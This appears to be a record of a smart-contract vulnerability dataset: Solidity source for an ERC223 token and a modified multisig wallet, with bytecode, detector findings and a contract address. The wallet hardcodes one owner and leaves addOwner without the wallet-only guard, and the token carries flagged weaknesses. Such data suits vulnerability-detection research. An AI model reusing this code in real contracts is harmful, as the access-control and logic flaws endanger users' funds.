newOwner = _newOwner;
}
/**
* @dev Accept transferOwnership.
*/
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x - y;
assert(z <= x);
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x * y;
assert(x == 0 || z / x == y);
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
/* New ERC23 contract interface */
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint256 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool success);
}
contract ERC223Token is ERC223,SafeMath ,Ownable {
mapping(address => uint) balances;
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
address public crowdsaleAgent;
address[] public addrCotracts;
bool public released = false;
/**
* @dev The function can be called only by crowdsale agent.
*/
modifier onlyCrowdsaleAgent() {
assert(msg.sender == crowdsaleAgent);
_;
}
/**
* @dev Limit token transfer until the crowdsale is over.
*/
modifier canTransfer() {
if(msg.sender != address(this)){
if(!released){
revert();
}
}
_;
}
// Function to access name of token .
function name() public view returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() public view returns (uint256 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public canTransfer returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public canTransfer returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
bool flag = false;
for(uint i = 0; i < addrCotracts.length; i++) {
if(_to == addrCotracts[i]) flag = true;
}
if(flag){
balances[this] = safeAdd(balanceOf(this), _value);
}else{
balances[_to] = safeAdd(balanceOf(_to), _value);
}
ContractReceiver receiver = ContractReceiver(_to);
if(receiver.tokenFallback(msg.sender, _value, _data)){
emit Transfer(msg.sender, _to, _value, _data);
return true;
}else{
revert();
}
if(flag){
emit Transfer(msg.sender, this, _value, _data);
}else{
emit Transfer(msg.sender, _to, _value, _data);
}
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
/**
* @dev Create new tokens and allocate them to an address. Only callably by a crowdsale agent
* @param _to dest address
* @param _value tokens amount
* @return mint result
*/
function mint(address _to, uint _value, bytes _data) public onlyCrowdsaleAgent returns (bool success) {
totalSupply = safeAdd(totalSupply, _value);
balances[_to] = safeAdd(balances[_to], _value);
emit Transfer(0, _to, _value, _data);
return true;
}
/**
* @dev Set the crowdsale Agent
* @param _crowdsaleAgent crowdsale contract address
*/
function setCrowdsaleAgent(address _crowdsaleAgent) public onlyOwner {
crowdsaleAgent = _crowdsaleAgent;
}
/**
* @dev One way function to release the tokens to the wild. Can be called only from the release agent that is the final ICO contract.
*/
function releaseTokenTransfer() public onlyCrowdsaleAgent {
released = true;
}
}
/**
* @title GoldVein contract - standard ERC20 token with Short Hand Attack and approve() race condition mitigation.
*/
contract GoldVein is ERC223Token{
/**
* @dev The function can be called only by agent.
*/
modifier onlyAgent() {
bool flag = false;
for(uint i = 0; i < addrCotracts.length; i++) {
if(msg.sender == addrCotracts[i]) flag = true;
}
assert(flag);
_;
}
/** Name and symbol were updated. */
event UpdatedTokenInformation(string newName, string newSymbol);
/**
* @param _name Token name
* @param _symbol Token symbol - should be all caps
* @param _decimals Number of decimal places
*/
function GoldVein(string _name, string _symbol, uint256 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function tokenFallback(address _from, uint _value, bytes _data) public onlyAgent returns (bool success){
balances[this] = safeSub(balanceOf(this), _value);
balances[_from] = safeAdd(balanceOf(_from), _value);
emit Transfer(this, _from, _value, _data);
return true;
}
/**
* Owner can update token information here.
*
* It is often useful to conceal the actual token association, until
* the token operations, like central issuance or reissuance have been completed.
*
* This function allows the token owner to rename the token after the operations
* have been completed and then point the audience to use the token contract.
*/
function setTokenInformation(string _name, string _symbol) public onlyOwner {
name = _name;
symbol = _symbol;
emit UpdatedTokenInformation(name, symbol);
}
function setAddr (address _addr) public onlyOwner {
addrCotracts.push(_addr);
}
function transferForICO(address _to, uint _value) public onlyCrowdsaleAgent returns (bool success) {
return this.transfer(_to, _value);
}
function delAddr (uint number) public onlyOwner {
require(number < addrCotracts.length);
for(uint i = number; i < addrCotracts.length-1; i++) {
addrCotracts[i] = addrCotracts[i+1];
}
addrCotracts.length = addrCotracts.length-1;
}
}
|
0x60606040526004361061010e5763ffffffff60e060020a60003504166306fdde0381146101135780630b7d63201461019d57806318160ddd146101cc578063313ce567146101f157806334103ee4146102045780634a1444d5146102255780634eee966f1461023b5780635f412d4f146102ce57806370a08231146102e157806370ad0cc61461030057806379ba5097146103165780638da5cb5b1461032957806394d008ef1461033c57806395d89b41146103b557806396132521146103c8578063a75e2853146103db578063a9059cbb146103fd578063be45fd621461041f578063c0ee0b8a14610484578063d1d80fdf146104e9578063d4ee1d9014610508578063f2fde38b1461051b575b600080fd5b341561011e57600080fd5b61012661053a565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561016257808201518382015260200161014a565b50505050905090810190601f16801561018f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a857600080fd5b6101b06105e3565b604051600160a060020a03909116815260200160405180910390f35b34156101d757600080fd5b6101df6105f2565b60405190815260200160405180910390f35b34156101fc57600080fd5b6101df6105f8565b341561020f57600080fd5b610223600160a060020a03600435166105fe565b005b341561023057600080fd5b6101b0600435610645565b341561024657600080fd5b61022360046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061066d95505050505050565b34156102d957600080fd5b6102236107d8565b34156102ec57600080fd5b6101df600160a060020a03600435166107ff565b341561030b57600080fd5b61022360043561081a565b341561032157600080fd5b6102236108e1565b341561033457600080fd5b6101b0610982565b341561034757600080fd5b6103a160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061099195505050505050565b604051901515815260200160405180910390f35b34156103c057600080fd5b610126610a8f565b34156103d357600080fd5b6103a1610b02565b34156103e657600080fd5b6103a1600160a060020a0360043516602435610b0b565b341561040857600080fd5b6103a1600160a060020a0360043516602435610b97565b341561042a57600080fd5b6103a160048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610bff95505050505050565b341561048f57600080fd5b6103a160048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610c5895505050505050565b34156104f457600080fd5b610223600160a060020a0360043516610da2565b341561051357600080fd5b6101b0610e05565b341561052657600080fd5b610223600160a060020a0360043516610e14565b61054261132a565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105d85780601f106105ad576101008083540402835291602001916105d8565b820191906000526020600020905b8154815290600101906020018083116105bb57829003601f168201915b505050505090505b90565b600854600160a060020a031681565b60075490565b60065490565b60015433600160a060020a0390811691161461061657fe5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600980548290811061065357fe5b600091825260209091200154600160a060020a0316905081565b60015433600160a060020a0390811691161461068557fe5b600482805161069892916020019061133c565b5060058180516106ac92916020019061133c565b507fd131ab1e6f279deea74e13a18477e13e2107deb6dc8ae955648948be5841fb46600460056040516040808252835460026000196101006001841615020190911604908201819052819060208201906060830190869080156107505780601f1061072557610100808354040283529160200191610750565b820191906000526020600020905b81548152906001019060200180831161073357829003601f168201915b50508381038252845460026000196101006001841615020190911604808252602090910190859080156107c45780601f10610799576101008083540402835291602001916107c4565b820191906000526020600020905b8154815290600101906020018083116107a757829003601f168201915b505094505050505060405180910390a15050565b60085433600160a060020a039081169116146107f057fe5b600a805460ff19166001179055565b600160a060020a031660009081526003602052604090205490565b60015460009033600160a060020a0390811691161461083557fe5b600954821061084357600080fd5b50805b600954600019018110156108c957600980546001830190811061086557fe5b60009182526020909120015460098054600160a060020a03909216918390811061088b57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055600101610846565b6009805460001901906108dc90826113ba565b505050565b60025433600160a060020a0390811691161415610980576001546002547f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16002546001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b565b600154600160a060020a031681565b60085460009033600160a060020a039081169116146109ac57fe5b6109b860075484610e6d565b600755600160a060020a0384166000908152600360205260409020546109de9084610e6d565b600160a060020a03851660009081526003602052604090819020919091558290518082805190602001908083835b60208310610a2b5780518252601f199092019160209182019101610a0c565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031660006000805160206113f58339815191528660405190815260200160405180910390a45060015b9392505050565b610a9761132a565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105d85780601f106105ad576101008083540402835291602001916105d8565b600a5460ff1681565b60085460009033600160a060020a03908116911614610b2657fe5b30600160a060020a031663a9059cbb848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b7a57600080fd5b5af11515610b8757600080fd5b5050506040518051949350505050565b6000610ba161132a565b30600160a060020a031633600160a060020a0316141515610bcd57600a5460ff161515610bcd57600080fd5b610bd684610e7c565b15610bed57610be6848483610e84565b9150610bf8565b610be684848361120f565b5092915050565b600030600160a060020a031633600160a060020a0316141515610c2d57600a5460ff161515610c2d57600080fd5b610c3684610e7c565b15610c4d57610c46848484610e84565b9050610a88565b610c4684848461120f565b600080805b600954811015610ca2576009805482908110610c7557fe5b60009182526020909120015433600160a060020a0390811691161415610c9a57600191505b600101610c5d565b811515610cab57fe5b610cbd610cb7306107ff565b8661131b565b600160a060020a033016600090815260036020526040902055610ce8610ce2876107ff565b86610e6d565b600160a060020a03871660009081526003602052604090819020919091558490518082805190602001908083835b60208310610d355780518252601f199092019160209182019101610d16565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902086600160a060020a031630600160a060020a03166000805160206113f58339815191528860405190815260200160405180910390a450600195945050505050565b60015433600160a060020a03908116911614610dba57fe5b6009805460018101610dcc83826113ba565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b60015433600160a060020a03908116911614610e2c57fe5b600160a060020a0381161515610e3e57fe5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610a8857fe5b6000903b1190565b60008060008085610e94336107ff565b1015610e9f57600080fd5b610eb1610eab336107ff565b8761131b565b600160a060020a03331660009081526003602052604081209190915592508291505b600954821015610f1a576009805483908110610eeb57fe5b600091825260209091200154600160a060020a0388811691161415610f0f57600192505b600190910190610ed3565b8215610f5057610f32610f2c306107ff565b87610e6d565b600160a060020a033016600090815260036020526040902055610f76565b610f5c610f2c886107ff565b600160a060020a0388166000908152600360205260409020555b5085600160a060020a03811663c0ee0b8a3388886040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ff7578082015183820152602001610fdf565b50505050905090810190601f1680156110245780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b151561104457600080fd5b5af1151561105157600080fd5b505050604051805190501561010e57846040518082805190602001908083835b602083106110905780518252601f199092019160209182019101611071565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902087600160a060020a031633600160a060020a03166000805160206113f58339815191528960405190815260200160405180910390a460019350611205565b602083106111195780518252601f1990920191602091820191016110fa565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902030600160a060020a031633600160a060020a03166000805160206113f58339815191528960405190815260200160405180910390a4611200565b6020831061119e5780518252601f19909201916020918201910161117f565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902087600160a060020a031633600160a060020a03166000805160206113f58339815191528960405190815260200160405180910390a45b600193505b5050509392505050565b60008261121b336107ff565b101561122657600080fd5b611238611232336107ff565b8461131b565b600160a060020a03331660009081526003602052604090205561126361125d856107ff565b84610e6d565b600160a060020a03851660009081526003602052604090819020919091558290518082805190602001908083835b602083106112b05780518252601f199092019160209182019101611291565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03166000805160206113f58339815191528660405190815260200160405180910390a45060019392505050565b600081830383811115610a8857fe5b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061137d57805160ff19168380011785556113aa565b828001600101855582156113aa579182015b828111156113aa57825182559160200191906001019061138f565b506113b69291506113da565b5090565b8154818355818115116108dc576000838152602090206108dc9181019083015b6105e091905b808211156113b657600081556001016113e05600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a72305820c712cd02e8df1d34676399c4a1e384f9919563bc2c2bd3d06a43f20c5d3d6df90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,069 |
0x2812ce48e96530f7c7ebc0f6eff9c195c9dcd0be
|
pragma solidity 0.4.15;
// From https://github.com/ConsenSys/MultiSigWallet/blob/master/contracts/solidity/MultiSigWallet.sol @ e3240481928e9d2b57517bd192394172e31da487
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="a4d7d0c1c2c5ca8ac3c1cbd6c3c1e4c7cbcad7c1cad7ddd78acac1d0">[email protected]</a>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
function MultiSigWallet()
public
{
address _owner = address(0x3Af8eE248D651E5Ae4D8f475D24DbA6380932677);
uint256 _required = 2;
isOwner[_owner] = true;
owners.push(_owner);
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
ownerExists(msg.sender)
ownerDoesNotExist(owner)
notNull(owner)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction mtx = transactions[transactionId];
mtx.executed = true;
if (mtx.destination.call.value(mtx.value)(mtx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
mtx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b85780632f54bf6e146101d05780633411c81c1461020357806354741525146102395780637065cb4814610268578063784547a7146102895780638b51d13f146102b35780639ace38c2146102db578063a0e67e2b1461039a578063a8abe69a14610401578063b5dc40c314610478578063b77bf600146104e2578063ba51a6df14610507578063c01a8c841461051f578063c642747414610537578063d74f8edd146105ae578063dc8452cd146105d3578063e20056e6146105f8578063ee22610b1461061f575b5b60003411156101625733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b005b341561017057600080fd5b61017b600435610637565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610162600160a060020a0360043516610669565b005b34156101c357600080fd5b61016260043561081a565b005b34156101db57600080fd5b6101ef600160a060020a03600435166108fc565b604051901515815260200160405180910390f35b341561020e57600080fd5b6101ef600435600160a060020a0360243516610911565b604051901515815260200160405180910390f35b341561024457600080fd5b61025660043515156024351515610931565b60405190815260200160405180910390f35b341561027357600080fd5b610162600160a060020a03600435166109a0565b005b341561029457600080fd5b6101ef600435610aa5565b604051901515815260200160405180910390f35b34156102be57600080fd5b610256600435610b39565b60405190815260200160405180910390f35b34156102e657600080fd5b6102f1600435610bb8565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b50509550505050505060405180910390f35b34156103a557600080fd5b6103ad610bec565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561040c57600080fd5b6103ad60043560243560443515156064351515610c55565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561048357600080fd5b6103ad600435610d83565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b34156104ed57600080fd5b610256610f05565b60405190815260200160405180910390f35b341561051257600080fd5b610162600435610f0b565b005b341561052a57600080fd5b610162600435610f99565b005b341561054257600080fd5b61025660048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061108b95505050505050565b60405190815260200160405180910390f35b34156105b957600080fd5b6102566110ab565b60405190815260200160405180910390f35b34156105de57600080fd5b6102566110b0565b60405190815260200160405180910390f35b341561060357600080fd5b610162600160a060020a03600435811690602435166110b6565b005b341561062a57600080fd5b610162600435611277565b005b600380548290811061064557fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561068b57600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106b457600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107af5782600160a060020a03166003838154811015156106fe57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107a35760038054600019810190811061073f57fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561076e57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107af565b5b6001909101906106d7565b6003805460001901906107c290826114d5565b5060035460045411156107db576003546107db90610f0b565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561084257600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561087757600080fd5b600084815260208190526040902060030154849060ff161561089857600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156109985783801561095e575060008181526020819052604090206003015460ff16155b806109825750828015610982575060008181526020819052604090206003015460ff165b5b1561098f576001820191505b5b600101610935565b5b5092915050565b33600160a060020a03811660009081526002602052604090205460ff1615156109c857600080fd5b600160a060020a038216600090815260026020526040902054829060ff16156109f057600080fd5b82600160a060020a0381161515610a0657600080fd5b600160a060020a0384166000908152600260205260409020805460ff191660019081179091556003805490918101610a3e83826114d5565b916000526020600020900160005b8154600160a060020a038089166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b5050565b600080805b600354811015610b315760008481526001602052604081206003805491929184908110610ad357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b15576001820191505b600454821415610b285760019250610b31565b5b600101610aaa565b5b5050919050565b6000805b600354811015610bb15760008381526001602052604081206003805491929184908110610b6657fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610ba8576001820191505b5b600101610b3d565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610bf4611529565b6003805480602002602001604051908101604052809291908181526020018280548015610c4a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c2c575b505050505090505b90565b610c5d611529565b610c65611529565b600080600554604051805910610c785750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d1057858015610cbe575060008181526020819052604090206003015460ff16155b80610ce25750848015610ce2575060008181526020819052604090206003015460ff165b5b15610d075780838381518110610cf557fe5b60209081029091010152600191909101905b5b600101610c95565b878703604051805910610d205750595b908082528060200260200182016040525b5093508790505b86811015610d7757828181518110610d4c57fe5b906020019060200201518489830381518110610d6457fe5b602090810290910101525b600101610d38565b5b505050949350505050565b610d8b611529565b610d93611529565b6003546000908190604051805910610da85750595b908082528060200260200182016040525b50925060009150600090505b600354811015610e8b5760008581526001602052604081206003805491929184908110610dee57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610e82576003805482908110610e3757fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610e6357fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610dc5565b81604051805910610e995750595b908082528060200260200182016040525b509350600090505b81811015610efc57828181518110610ec657fe5b90602001906020020151848281518110610edc57fe5b600160a060020a039092166020928302909101909101525b600101610eb2565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f2b57600080fd5b600354816032821180610f3d57508181115b80610f46575080155b80610f4f575081155b15610f5957600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610fc157600080fd5b6000828152602081905260409020548290600160a060020a03161515610fe657600080fd5b600083815260016020908152604080832033600160a060020a03811